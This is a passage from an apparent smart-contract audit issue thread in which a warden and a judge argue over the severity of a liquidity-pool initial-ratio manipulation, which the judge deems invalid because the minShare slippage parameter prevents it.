Instead I would disable any user from setting the initial token ratio of a liquidity pool. This way, if the creation of a liquidity pool would be permissioned to the DAO for example, it would set an initial token ratio aligned with the market and it would disable the attack completely.

Assessed type

Error

c4-judge commented 9 months ago

Picodes changed the severity to 2 (Med Risk)

c4-judge commented 9 months ago

Picodes marked the issue as duplicate of #527

c4-judge commented 8 months ago

Picodes marked the issue as not a duplicate

c4-judge commented 8 months ago

Picodes changed the severity to QA (Quality Assurance)

Picodes commented 8 months ago

This is standard when creating Uniswap like pools and you have to use a bit of funds to reprice the pool eventually

Draiakoo commented 8 months ago

The coded PoC demonstrates that a user can force a pool to be really unbalanced almost for free (100 wei of ETH and 100 wei of WBTC). This action will make the following depositor to lose all his deposited value because it will create a huge arbitrage oportunity. When this deposit of new funds is executed the same user can backrun the transaction and get this arbitrage oportunity basically stealing funds from the depositor. As explained in the submition, the more value difference between tokens and decimal discrepances the more funds can be stolen. I see this issue as a really severe one and I propose the same solution as the issue #937 . Also the feature that when swapping reserves can not drop from 100 wei of each token prevent from other users to balance the pool by swapping tokens. I would recommend rereading the submition and validate it as high or medium , thanks

Picodes commented 8 months ago

"I would recommend rereading the submition and validate it as high or medium , thanks" -> I am sure you would recommend validating your own submissions. Please make sure to add only fact-based comments :)

Draiakoo commented 8 months ago

Sorry about that :'(

Picodes commented 8 months ago

Like #937, this issue is invalid because it doesn't discuss the slippage parameter provided. When adding liquidity in the provided test the user sets the minShare parameter to 0, but it's this parameter that is meant to prevent the sandwich attack from being possible.